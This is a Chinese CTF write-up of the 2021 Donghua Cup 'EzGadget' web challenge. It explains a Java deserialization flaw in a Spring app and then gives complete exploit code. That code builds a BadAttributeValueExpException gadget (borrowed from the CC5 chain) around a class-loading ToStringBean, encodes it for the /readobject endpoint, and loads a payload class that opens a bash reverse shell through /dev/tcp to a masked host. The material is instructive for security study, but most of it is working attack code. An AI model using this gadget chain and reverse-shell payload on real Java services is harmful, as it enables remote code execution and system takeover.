2021东华杯_WEB_EzGadget
题目给出了一个jar包,通过jd-gui
反编译得到源码
可以看到里面有个工具包文件
//Tools.class
//这个类实现了base64编码和解码,java序列化和反序列化
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
//ToStringBean.class
//这个类中继承了ClassLoader类,调用了defineClass,用来加载字节码,并且通过newInstance实例化加载的Class类
package BOOT-INF.classes.com.ezgame.ctf.tools;
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}
因此如果我们能够调用toString
方法,并且控制ClassByte
的内容,就能实现任意代码执行。
再看一下控制器里面的内容
@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}
将传过来的data
字段的内容通过base64
解码,读取对象流,先读取字符串和INT
,再读取对象。所以再构造反序列化链时,先写入一个String
和INT
现在就是如何通过反序列化去触发ToStringBean
的toString
方法了。了解过CC链就会知道在CC5链中用到了toString
//cc5中的链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
...............
现在就可以去构造Payload
了
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class IndexController {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean();
//通过反射给ClassByte赋值
Class c = toStringBean.getClass();
Field classByteField = c.getDeclaredField("ClassByte");
classByteField.setAccessible(true);
//读取恶意的class文件
byte[] bytes = Files.readAllBytes(Paths.get("F:\\code\\java_file\\EzGadget\\out\\production\\EzGadget\\com\\ezgame\\ctf\\controller\\payload.class"));
//将字节码传给ClassByte
classByteField.set(toStringBean,bytes);
//实例化BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
//通过反射给val传值
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, toStringBean);
//序列化类到ByteArrayOutputStream中
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
//ByteArrayOutputStream转化为字节
byte[] bytes1 = byteArrayOutputStream.toByteArray();
//base64编码
String bytes2 = Tools.base64Encode(bytes1);
//输出payload
System.out.println(bytes2);
}
}
//payload.class
package com.ezgame.ctf.controller;
import java.io.IOException;
public class payload {
public payload() {
}
static {
try {
//注意这里不要使用字符串,使用字符串数组。
//使用字符串传会反弹失败,具体原因可参看网上的文章
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"});
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
注意payload
要URL
编码一下,因为可能有+
,URL解码时会当作空格
Comments | NOTHING